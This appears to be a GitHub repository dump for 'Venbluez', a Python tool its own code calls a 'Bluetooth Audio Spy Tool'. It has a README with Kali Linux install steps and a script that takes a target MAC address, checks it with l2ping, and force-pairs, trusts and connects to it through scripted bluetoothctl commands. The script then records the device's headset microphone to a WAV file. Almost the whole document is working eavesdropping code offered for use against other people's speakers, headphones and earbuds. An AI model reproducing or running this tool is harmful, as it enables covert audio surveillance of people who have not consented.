├── README.md └── venbluez.py /README.md: -------------------------------------------------------------------------------- 1 | # Venbluez 2 | Venbluez : record audio from bluetooth devices like speaker, headphone and earbuds 3 | ## Installing (only in kali linux ): 4 | 5 | ``` 6 | 7 | sudo apt install bluez -y 8 | sudo apt install pulseaudio -y 9 | sudo apt install pulseaudio-utils -y 10 | sudo apt install pulseaudio-module-bluetooth -y 11 | pulseaudio --start 12 | 13 | git clone https://github.com/blackhatvenomm/Venbluez.git 14 | cd Venbluez 15 | python3 venbluez.py 16 | -------------------------------------------------------------------------------- /venbluez.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import subprocess 3 | import os 4 | import time 5 | import signal 6 | import sys 7 | import shutil 8 | 9 | recorder = None 10 | 11 | def stop_recording(sig, frame): 12 | print("\n[!] Stopping recording...") 13 | if recorder: 14 | recorder.terminate() 15 | sys.exit(0) 16 | 17 | signal.signal(signal.SIGINT, stop_recording) 18 | 19 | def check_requirements(): 20 | for tool in ["l2ping", "parecord", "bluetoothctl", "pactl"]: 21 | if not shutil.which(tool): 22 | print(f"[!] Required tool '{tool}' not found. Please install it.") 23 | sys.exit(1) 24 | 25 | def check_vulnerability(mac): 26 | print(f"[+] Checking if {mac} is reachable (via l2ping)...") 27 | try: 28 | output = subprocess.check_output(["sudo", "l2ping", "-c", "1", mac], stderr=subprocess.STDOUT) 29 | if b"1 sent" in output: 30 | print(f"[+] Device {mac} is responding. Likely reachable.") 31 | return True 32 | except subprocess.CalledProcessError as e: 33 | print("[-] Device not responding to l2ping.") 34 | print(f" Error: {e.output.decode().strip()}") 35 | except Exception as e: 36 | print(f"[!] Unexpected error in l2ping: {e}") 37 | return False 38 | 39 | def pair_and_connect(mac): 40 | print(f"[+] Pairing and connecting to {mac} via bluetoothctl...") 41 | 42 | commands = f""" 43 | power on 44 | agent on 45 | default-agent 46 | scan on 47 | pair {mac} 48 | trust {mac} 49 | connect {mac} 50 | exit 51 | """ 52 | with open("bt_script.txt", "w") as f: 53 | f.write(commands) 54 | 55 | try: 56 | subprocess.run(["bluetoothctl"], stdin=open("bt_script.txt", "r"), 57 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 58 | print(f"[+] Pairing & connection attempted for {mac}") 59 | except Exception as e: 60 | print(f"[!] Error during bluetoothctl operation: {e}") 61 | finally: 62 | os.remove("bt_script.txt") 63 | 64 | def find_active_bluetooth_source(mac): 65 | print("[*] Searching for active Bluetooth mic source (auto-match)...") 66 | mac_id = mac.replace(":", "_").lower() 67 | try: 68 | output = subprocess.check_output(["pactl", "list", "sources", "short"]).decode() 69 | for line in output.strip().split("\n"): 70 | if f"bluez_source.{mac_id}" in line and "headset_head_unit" in line: 71 | source_name = line.split()[1] 72 | print(f"[+] Found active Bluetooth source: {source_name}") 73 | return source_name 74 | print("[!] Bluetooth mic source not found in PulseAudio source list.") 75 | print("[i] Make sure the device is connected and in HSP/HFP profile.") 76 | print("[i] You can manually test using:") 77 | print(f" parecord --device=bluez_source.{mac_id}.headset_head_unit test.wav") 78 | sys.exit(1) 79 | except Exception as e: 80 | print(f"[!] Error while searching for source: {e}") 81 | sys.exit(1) 82 | 83 | def start_recording(mac, source_name): 84 | global recorder 85 | print("[+] Starting audio recording... Press Ctrl+C to stop.") 86 | os.makedirs("recordings", exist_ok=True) 87 | filename = f"recordings/{mac.replace(':', '_')}.wav" 88 | try: 89 | recorder = subprocess.Popen(["parecord", "--device", source_name, filename]) 90 | recorder.wait() 91 | except Exception as e: 92 | print(f"[!] Failed to start recording: {e}") 93 | sys.exit(1) 94 | 95 | def main(): 96 | print(""" 97 | _ _ 98 | __ __ ___ _ __ | |__ | | _ _ ___ ____ 99 | \ \ / // _ \| '_ \ | '_ \ | || | | | / _ \|_ / 100 | \ V /| __/| | | || |_) || || |_| || __/ / / 101 | \_/ \___||_| |_||_.__/ |_| \__,_| \___|/___| 102 | 103 | by BlackHat Venom 104 | """) 105 | 106 | parser = argparse.ArgumentParser(description="venbluez.py - Bluetooth Audio Spy Tool") 107 | parser.add_argument("-a", "--address", required=True, help="Target Bluetooth MAC Address") 108 | args = parser.parse_args() 109 | 110 | check_requirements() 111 | target = args.address 112 | 113 | if not check_vulnerability(target): 114 | print("[-] Target device is not reachable.") 115 | return 116 | 117 | pair_and_connect(target) 118 | time.sleep(3) # wait for audio interface to register 119 | 120 | source = find_active_bluetooth_source(target) 121 | start_recording(target, source) 122 | 123 | if __name__ == "__main__": 124 | main() 125 | --------------------------------------------------------------------------------